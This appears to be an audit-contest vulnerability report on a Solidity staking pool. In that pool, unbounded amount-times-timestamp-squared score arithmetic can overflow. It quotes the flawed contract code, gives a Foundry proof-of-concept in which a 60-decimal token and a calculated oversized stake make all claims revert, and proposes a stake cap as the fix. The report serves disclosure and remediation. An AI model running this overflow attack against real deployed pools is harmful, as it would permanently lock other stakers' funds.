FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Unbounded raw-token score arithmetic can permanently lock every claim

Author Revealed upon completion

Description

  • The k=2 bonus system is intended to calculate each staker's score as amount * (T - entryTime)^2 and distribute the bonus without affecting the recoverability of principal.

  • The factory accepts any owner-allowlisted standard ERC20 but imposes no decimals, supply, per-pool, or future arithmetic-domain bound. The pool then multiplies raw token amounts by absolute timestamps squared using checked uint256 arithmetic. An amount that is safe when deposited can overflow when the risk window opens later, and the expanded score identity can overflow its positive terms before an exact subtraction would cancel them. These reverts can block risk observation, withdrawal, expiry resolution, and every claim while reserve accounting prevents recovery sweeps.

function setStakeTokenAllowed(address token, bool allowed) external onlyOwner {
if (token == address(0)) revert ZeroAddress();
// @> Admission is only an address-level boolean. No raw-unit domain is enforced.
allowedStakeToken[token] = allowed;
}
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ...
uint256 newEntry = block.timestamp;
// @> These products are checked only against the current timestamp.
// @> No bound guarantees that the aggregate remains safe at a later T.
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
// @> A total accepted at entry can overflow here one second later.
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
uint256 T = outcomeFlaggedAt;
// @> The mathematically cancelling positive terms are added before subtraction.
// @> userPlus or plus can overflow even when the true score is zero.
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
// ...
}

Risk

Likelihood: Low

  • The failure occurs in a pool using an allowlisted standard ERC20 whose raw-unit domain is large relative to absolute Unix timestamps, such as an otherwise conventional high-decimal token. A 60-decimal token makes the demonstrated attacker stake only a small fraction of one whole token.

  • Factory governance must first allow the token, and such raw-unit domains are uncommon. The production factory path nevertheless accepts them without warning, and an untrusted staker can then select the unsafe amount.

Impact: High

  • Overflow while opening the risk window makes pokeRiskWindow, withdraw, and the expiry backstop revert, locking honest principal and bonus while the agreement remains in active risk.

  • Overflow in the expanded score after resolution makes every honest and malicious staker claim revert. Because principal and bonus remain reserved, sweepUnclaimedBonus cannot rescue the balance, producing a permanent whole-pool lock.

Proof of Concept

The existing test/poc/ExpandedScoreOverflowLock.t.sol PoC uses the real factory admission path: it deploys a standard 60-decimal ERC20, explicitly allowlists it, creates the pool through ConfidencePoolFactory.createPool, and then demonstrates both overflow variants. The following is the claim-lock variant:

contract SixtyDecimalERC20 is ERC20 {
constructor() ERC20("Sixty Decimal Token", "SIXTY") {}
function decimals() public pure override returns (uint8) {
return 60;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
function _deployAllowlistedPool(SixtyDecimalERC20 highDecimalToken)
internal
returns (ConfidencePool highDecimalPool)
{
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(implementation), moderator)
)
);
ConfidencePoolFactory factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(highDecimalToken), true);
highDecimalPool = ConfidencePool(
factory.createPool(
agreement,
address(highDecimalToken),
block.timestamp + 31 days,
1,
recovery,
_defaultScope()
)
);
}
function testSupportedStandardTokenCanOverflowExpandedScoreAndLockAllClaims() external {
SixtyDecimalERC20 highDecimalToken = new SixtyDecimalERC20();
ConfidencePool highDecimalPool = _deployAllowlistedPool(highDecimalToken);
uint256 honestStake = 1e54;
highDecimalToken.mint(bob, honestStake);
vm.startPrank(bob);
highDecimalToken.approve(address(highDecimalPool), honestStake);
highDecimalPool.stake(honestStake);
vm.stopPrank();
uint256 t = block.timestamp;
uint256 hugeStake = type(uint256).max / (2 * t * t) + 1;
highDecimalToken.mint(alice, hugeStake);
vm.startPrank(alice);
highDecimalToken.approve(address(highDecimalPool), hugeStake);
highDecimalPool.stake(hugeStake);
vm.stopPrank();
uint256 oneTokenBonus = 1e60;
highDecimalToken.mint(carol, oneTokenBonus);
vm.startPrank(carol);
highDecimalToken.approve(address(highDecimalPool), oneTokenBonus);
highDecimalPool.contributeBonus(oneTokenBonus);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
highDecimalPool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
highDecimalPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(bob);
vm.expectRevert(stdError.arithmeticError);
highDecimalPool.claimSurvived();
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
highDecimalPool.claimSurvived();
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
highDecimalPool.sweepUnclaimedBonus();
assertEq(
highDecimalToken.balanceOf(address(highDecimalPool)),
honestStake + hugeStake + oneTokenBonus
);
}

Run:

forge test --match-contract ExpandedScoreOverflowLockPoC -vv

Recommended Mitigation

Enforce one aggregate raw-stake domain that is safe for every intermediate through the maximum pool timestamp, rather than checking only whether each deposit-time multiplication happens to fit. Because both positive terms can each approach amount * T^2, a conservative bound is:

+error ScoreDomainExceeded();
+
+function _maxScoreStake() internal view returns (uint256) {
+ uint256 maxT = uint256(expiry);
+ // Keeps T^2 * amount + amount * entryTime^2 and
+ // 2 * T * amount * entryTime inside uint256.
+ return type(uint256).max / (2 * maxT * maxT);
+}
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// transfer and balance-difference accounting...
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
+ uint256 cap = _maxScoreStake();
+ if (totalEligibleStake > cap || received > cap - totalEligibleStake) {
+ revert ScoreDomainExceeded();
+ }
+
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
// ...
}

The same bound must be applied to every path that changes score-bearing stake and must be derived from the latest possible T, not the current timestamp. A stronger redesign would store bounded elapsed offsets from riskWindowStart and evaluate the factored amount * (T - entryTime)^2 form with full-precision multiplication, avoiding large absolute-timestamp terms and overflow-before-cancellation altogether.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!